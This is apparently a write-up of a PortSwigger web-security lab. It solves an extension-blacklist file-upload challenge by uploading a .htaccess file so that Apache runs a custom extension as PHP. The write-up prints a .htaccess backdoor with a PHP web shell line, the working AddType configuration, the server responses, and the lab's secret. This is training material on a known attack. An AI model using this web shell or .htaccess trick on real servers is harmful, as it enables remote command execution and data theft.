On this page
apsyleg1 min read
#portswigger #file-upload #rce #htaccess #apache #web-security

Web Shell Upload via Extension Blacklist Bypass

Lab

Web shell upload via extension blacklist bypass · Practitioner

Solution

Given

This lab contains a vulnerable image upload function. Certain file extensions
are blacklisted, but this defense can be bypassed due to a fundamental
flaw in the configuration of this blacklist.

To solve the lab, upload a basic PHP web shell, then use it to exfiltrate
the contents of the file /home/carlos/secret. Submit this secret using the
button provided in the lab banner.

You can log in to your own account using the following credentials: wiener:peter

Analysis and recon

Try to upload a PHP shell — server rejects it:

HTTP/2 403 Forbidden
Date: Wed, 03 Jun 2026 15:51:26 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 164

Sorry, php files are not allowed
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

The server is Apache. Idea: try to upload an Apache config into the directory, i.e. .htaccess. If server-side validation doesn't handle that case, we can slip our own config in and configure PHP execution for a different file extension, disguising it under an innocuous MIME type.

Hop over to PayloadAllTheThings, Upload Insecure Files section, grab the ready-made .htaccess backdoor:

# htaccess backdoor shell
# this is relatively stealthy compared to a typical webshell

# overriding deny rule
# making htaccess accessible from the internet
# without this you'll get a HTTP 403
<Files ~ "^\.ht">
Require all granted
Order allow,deny
Allow from all
</Files>

# Make the server treat .htaccess file as .php file
AddType application/x-httpd-php .htaccess

# <?php system($_GET['cmd']); ?>

# To execute commands you would navigate to:
# http://vulnerable.com/.htaccess?cmd=YourCommand

# If system(); isnt working then try other syscalls
# e.g. passthru(); shell_exec(); etc
# If you still cant execute syscalls, try bypassing php.ini via htaccess

It uploads:

HTTP/2 200 OK
Date: Wed, 03 Jun 2026 16:05:17 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 130

The file avatars/.htaccess has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

But when we hit it, the server returns 500 complaining about the config — this shell doesn't go through.

So we drop a stripped-down config — just the line telling Apache to treat shell.bug as a PHP script:

# Make the server treat .htaccess file as .php file
AddType application/x-httpd-php shell.bug

Upload it as .htaccess:

HTTP/2 200 OK
Date: Thu, 04 Jun 2026 13:47:14 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 130

The file avatars/.htaccess has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Uploaded. Check /files/avatars/shell.bug — no luck, it gets served as plain text.

Maybe this config then:

AddType application/x-httpd-php ".bug"

Worked!

2OdvwFa9GvrtQrVwpJ5f9btIo0GQdiy1

Lab solved!